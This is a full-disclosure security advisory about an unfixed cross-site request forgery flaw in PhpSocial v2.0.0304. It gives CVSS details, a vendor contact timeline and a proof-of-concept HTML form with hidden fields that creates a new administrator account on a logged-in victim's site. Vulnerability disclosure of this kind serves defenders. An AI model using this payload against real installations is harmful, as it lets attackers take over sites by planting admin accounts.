PhpSocial 2.0.0304_20222226 – Cross-Site Request Forgery
Security Advisory - Curesec Research Team 1. Introduction Affected Product: PhpSocial v2.0.0304_20222226 Fixed in: not fixed Fixed Version Link: n/a Vendor Webite: http://phpsocial.net Vulnerability Type: CSRF Remote Exploitable: Yes Reported to vendor: 11/21/2015 Disclosed to public: 12/21/2015 Release mode: Full Disclosure CVE: n/a Credits Tim Coen of Curesec GmbH 2. Overview CVSS Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P Description PhpSocial is a social networking software written in PHP. In version v2.0.0304, it does not have CSRF protection, which means that an attacker can perform actions for a victim, if the victim visits an attacker controlled site while logged in. 3. Proof of Concept Add a new admin: <html> <body> <form action="http://localhost/PhpSocial_v2.0.0304_20222226/cms_phpsocial/admin/AdminAddViewadmins.php" method="POST"> <input type="hidden" name="admin_username" value="admin2" /> <input type="hidden" name="admin_password" value="admin" /> <input type="hidden" name="admin_password_confirm" value="admin" /> <input type="hidden" name="admin_name" value="admin2" /> <input type="hidden" name="admin_email" value="admin2@example.com" /> <input type="hidden" name="task" value="addadmin" /> <input type="submit" value="Submit request" /> </form> </body> </html> 4. Solution This issue was not fixed by the vendor. 5. Report Timeline 11/21/ Contacted Vendor (no reply) 2015 12/10/ Tried to remind vendor (no email is given, security@phpsocial.net does 2015 not exist, and contact form could not be used because the website is down) 12/21/ Disclosed to public 2015 Blog Reference: https://blog.curesec.com/article/blog/PhpSocial-v200304-CSRF-133.html -- blog: https://blog.curesec.com tweet: https://twitter.com/curesec Curesec GmbH Curesec Research Team Romain-Rolland-Str 14-24 13089 Berlin, Germany |